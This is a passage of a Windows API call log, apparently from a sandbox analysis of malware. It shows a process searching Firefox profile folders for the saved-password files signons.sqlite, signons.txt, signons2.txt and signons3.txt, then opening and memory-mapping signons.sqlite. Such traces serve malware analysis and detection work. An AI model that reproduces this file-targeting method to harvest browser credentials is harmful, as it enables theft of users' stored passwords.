(lpString="permissions.sqlite") returned 18 [0070.926] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="places.sqlite") returned 13 [0070.926] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="pluginreg.dat") returned 13 [0070.926] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="prefs.js") returned 8 [0070.926] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="search.json") returned 11 [0070.926] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="secmod.db") returned 9 [0070.926] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0070.926] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0070.926] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.926] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0070.926] lstrlenA (lpString="sessionstore.bak") returned 16 [0070.926] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0070.927] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0070.927] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0070.927] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.927] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0070.927] lstrlenA (lpString="sessionstore.js") returned 15 [0070.927] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0070.927] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0070.927] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0070.927] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.927] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0070.927] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.927] lstrlenA (lpString="\\") returned 1 [0070.927] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.927] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.927] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.927] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.927] lstrlenA (lpString="signons.sqlite") returned 14 [0070.927] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x65d330 [0070.927] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.927] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0070.927] LocalFree (hMem=0x6275a8) returned 0x0 [0070.927] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0070.927] CloseHandle (hObject=0x139) returned 1 [0070.927] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0070.927] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0070.927] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x641518, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0070.927] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0070.927] CloseHandle (hObject=0x139) returned 1 [0070.927] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0070.927] GetFileSize (in: hFile=0x139, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0070.927] CreateFileMappingA (hFile=0x138, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x150 [0070.927] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0070.930] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0070.933] CloseHandle (hObject=0x150) returned 1 [0070.934] CloseHandle (hObject=0x138) returned 1 [0070.934] LocalFree (hMem=0x641518) returned 0x0 [0070.934] LocalFree (hMem=0x65d330) returned 0x0 [0070.934] lstrlenA (lpString="signons.sqlite") returned 14 [0070.934] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0070.934] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.934] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.934] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.934] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0070.934] lstrlenA (lpString="times.json") returned 10 [0070.934] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0070.934] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0070.934] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0070.934] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.934] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0070.934] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0070.934] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0070.934] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0070.934] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0070.934] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.934] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0070.934] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0070.934] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.934] lstrlenA (lpString="\\") returned 1 [0070.934] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.934] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.934] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.934] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.934] lstrlenA (lpString="webapps") returned 7 [0070.934] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0070.934] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.934] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.934] LocalFree (hMem=0x6275a8) returned 0x0 [0070.934] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0070.934] lstrlenA (lpString="\\*.*") returned 4 [0070.934] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0070.934] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.934] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0070.934] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0070.935] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.935] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.935] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.935] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.935] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.935] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0070.935] lstrlenA (lpString="webapps.json") returned 12 [0070.935] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0070.935] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0070.935] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0070.935] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0070.935] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.935] LocalFree (hMem=0x65b428) returned 0x0 [0070.935] LocalFree (hMem=0x65b348) returned 0x0 [0070.935] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.935] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.935] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0070.935] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0070.935] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.935] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.935] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 0 [0070.935] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0070.936] LocalFree (hMem=0x627320) returned 0x0 [0070.936] LocalFree (hMem=0x627248) returned 0x0 [0070.936] LocalFree (hMem=0x643b68) returned 0x0 [0070.936] LocalFree (hMem=0x6721b0) returned 0x0 [0070.936] LocalFree (hMem=0x65e350) returned 0x0 [0070.936] LocalFree (hMem=0x662338) returned 0x0 [0070.936] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.936] lstrlenA (lpString="*.*") returned 3 [0070.936] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643b68 [0070.936] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.936] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0070.936] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 0x6426a8 [0070.936] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.936] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0070.936] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.936] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.936] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0070.936] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0070.936] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0070.936] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.936] lstrlenA (lpString="") returned 0 [0070.936] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0070.936] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.936] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.936] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.936] lstrlenA (lpString="Crash Reports") returned 13 [0070.936] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x65e350 [0070.936] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.936] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0070.936] LocalFree (hMem=0x643c28) returned 0x0 [0070.936] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 62 [0070.936] lstrlenA (lpString="\\*.*") returned 4 [0070.936] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x65d330 [0070.936] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0070.936] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0070.937] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0x6426e8 [0070.937] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.937] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0070.937] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.937] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.937] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0070.937] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0070.937] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0070.937] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0070.937] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0070.937] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0070.937] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0 [0070.937] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.937] LocalFree (hMem=0x65d330) returned 0x0 [0070.937] LocalFree (hMem=0x65e350) returned 0x0 [0070.937] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0070.937] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0070.937] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0070.937] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.937] lstrlenA (lpString="") returned 0 [0070.937] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0070.937] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.937] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.937] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.937] lstrlenA (lpString="Profiles") returned 8 [0070.937] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x65e350 [0070.937] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.937] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.937] LocalFree (hMem=0x643c28) returned 0x0 [0070.937] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0070.937] lstrlenA (lpString="\\*.*") returned 4 [0070.937] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65d330 [0070.937] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.937] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0070.937] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0x6426e8 [0070.937] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.937] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0070.938] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.938] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.938] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 1 [0070.938] lstrcmpiA (lpString1=".", lpString2="h231daer.default") returned -1 [0070.938] lstrcmpiA (lpString1="..", lpString2="h231daer.default") returned -1 [0070.938] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0070.938] lstrlenA (lpString="\\") returned 1 [0070.938] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0070.938] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0070.938] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0070.938] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 58 [0070.938] lstrlenA (lpString="h231daer.default") returned 16 [0070.938] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0070.938] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0070.938] lstrcatA (in: 